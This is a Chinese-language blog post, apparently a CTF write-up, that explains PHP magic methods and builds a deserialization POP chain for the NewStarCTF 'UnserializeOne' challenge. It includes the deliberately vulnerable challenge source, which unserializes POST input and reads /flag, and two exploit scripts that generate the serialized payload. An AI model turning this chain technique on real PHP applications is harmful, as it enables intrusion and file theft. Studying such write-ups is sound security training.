Featured image of post PHP反序列化构造POP链

PHP反序列化构造POP链

PHP反序列化构造POP链

常用魔术方法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
__construct() //当一个对象创建时被调用

__destruct() //当一个对象销毁时被调用

__wakeup() //使用unserialize时触发

__sleep() //使用serialize时触发

__call() //在对象上下文中调用不可访问的方法时触发

__get() //用于从不可访问的属性读取数据

__set() //用于将数据写入不可访问的属性

__toString() //把类当作字符串使用时触发

__invoke() //当脚本尝试将对象调用为函数时触发

具体用法

__construct和__destruct

前者和后者分别为类的构造函数和析构函数,__construct在类创建时被调用,__destruct在类删除前被调用

__sleep和__wakeup

与类的序列化有关,序列化前会调用__sleep,使用反序列化恢复对象调用__wakeup

__toString

对类的对象进行字符串操作时,会被调用

和字符串相加

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
<?php
class a {
  public function __toString() {
    echo "string";
    return "aa";
  }
}

$b = new a;
$b . 'str';

结果输出string

echo或print对象

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
<?php
class a {
  public function __toString() {
    echo "string";
    return "aa";
  }
}

$b = new a;
echo $b;
//print $b;

输出stringaa

__call、__get和__set

调用类中不存在的方法时就会调用__call

1
2
3
4
5
6
7
8
9
<?php
class a {
  public function __call($method, $args) {
    echo   "call function: $method()" ;
  }
}

$b = new a;
$b->func();

输出call function:fun()

__get则是访问类的成员变量不存在的时调用,__set在设置类的成员变量(如:赋值)不存在的时调用

例题NewStarCTF 公开赛UnserializeOne

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<?php
error_reporting(0);
highlight_file(__FILE__);
#Something useful for you : https://zhuanlan.zhihu.com/p/377676274
class Start{
    public $name;
    protected $func;
 
    public function __destruct()
    {
        echo "Welcome to NewStarCTF, ".$this->name;
    }
 
    public function __isset($var)
    {
        ($this->func)();
    }
}
 
class Sec{
    private $obj;
    private $var;
 
    public function __toString()
    {
        $this->obj->check($this->var);
        return "CTFers";
    }
 
    public function __invoke()
    {
        echo file_get_contents('/flag');
    }
}
 
class Easy{
    public $cla;
 
    public function __call($fun, $var)
    {
        $this->cla = clone $var[0];
    }
}
 
class eeee{
    public $obj;
 
    public function __clone()
    {
        if(isset($this->obj->cmd)){
            echo "success";
        }
    }
}
 
if(isset($_POST['pop'])){
    unserialize($_POST['pop']);
}

逐步拆解

在此题中很明显有个关键语句:echo file_get_contents('/flag');

所以我们最终目的便是要触发Sec类里的__invoke魔术方法即可获取flag

先从入口正推pop链

pop链构造题中最常见的入口就是__destruct(),此函数在对象销毁时立刻触发(可以直接理解为new该对象时直接触发该方法),所以我们第一步便是创建一个变量实现Start类:

1
$res = new Start();

此时会触发__destruct()函数:

1
2
3
4
public function __destruct()
    {
        echo "Welcome to NewStarCTF, ".$this->name;
    }	

发现有对字符串进行操作,联想到__tostring方法,所以我们寻找含有该魔术方法的类即Sec类

第二步:

1
$res->name = new Sec();
1
2
3
4
5
public function __toString()
    {
        $this->obj->check($this->var);
        return "CTFers";
    }

这里调用check函数是不存在的,联想到__call函数,找到Easy这个类

第三步:

1
$res->name->obj = new Easy();
1
2
3
4
public function __call($fun, $var)
    {
        $this->cla = clone $var[0];
    }

这里调用clone,会触发下面的__clone方法,所以用eeee这个类

第四步:

1
$res->name->var = new eeee(); 
1
2
3
4
5
6
public function __clone()
    {
        if(isset($this->obj->cmd)){
            echo "success";
        }
    }

调用了isset函数,会触发上面的__isset方法,回到Start这个类

第五步:

1
$res->name->var->obj = new Start();
1
2
3
4
public function __isset($var)
    {
        ($this->func)();
    }

这里把func当函数调用会触发__invoke方法,回到Sec类

最后一步:

1
$res->name->var->obj->func = new Sec();
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
class Start{
    public $name;
    public $func;
 
}
 
class Sec{
    public $obj;
    public $var;
 
}
 
class Easy{
    public $cla;
 
}
 
class eeee{
    public $obj;
 
}
$res = new Start();
$res->name = new Sec();
$res->name->obj = new Easy();
$res->name->var = new eeee(); 
$res->name->var->obj = new Start();
$res->name->var->obj->func = new Sec();
echo serialize($res);

image-20250205195034066

另一种exp(逆推)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
class Start{
    public $name;
    public $func;
}
class Sec{
    public $obj;
    public $var;
}
class Easy{
    public $cla;
}
class eeee{
    public $obj;
}
$a = new Sec();
$b = new Start();
$b->func = $a;
$c = new eeee();
$c->obj = $b;
$d = new Sec();
$e = new Easy();
$d->obj = $e;
$d->var = $c;
$f = new Start();
$f->name = $d;
echo serialize($f);
使用 Hugo 构建
主题 StackJimmy 设计